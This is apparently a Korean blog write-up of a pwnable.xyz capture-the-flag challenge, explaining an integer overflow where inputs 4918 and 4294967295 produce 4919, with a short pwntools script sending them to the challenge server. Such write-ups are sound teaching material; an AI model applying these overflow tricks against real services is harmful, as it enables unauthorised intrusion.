# 보호기법 확인
# IDA
어떻게 빼도 4919를 만들 수 없고, v4, v5 모두 4919 값을 가질 수 없으므로 오버플로우다!
그러면 v4는 4918 값을 주고, v5는 오퍼플로우되어 -1 값이 나오도록 unsigned long int형의 최댓값인 4294967295값을 주면 4919 값을 만들 수 있다.
(unsigned long int 형의 유효범위 : 0 ~ 4294967295)
# exploit
nc 명령어로 서버에 연결해서 구한 값을 입력하면 flag를 얻을 수 있다!
# exploit code + exploit
#!/usr/bin/python
from pwn import *
p = remote("svc.pwnable.xyz", 30001)
v4 = 4918
v5 = 4294967295
p.sendlineafter("1337 input: ", str(v4) + " " + str(v5))
p.interactive()
[pwnable.xyz] Grownup (0) | 2019.09.27 |
---|---|
[pwnable.xyz] note (0) | 2019.09.27 |
[pwnable.xyz] misalignment (0) | 2019.09.17 |
[pwnable.xyz] add (0) | 2019.09.05 |
[pwnable.xyz] welcome (0) | 2019.09.04 |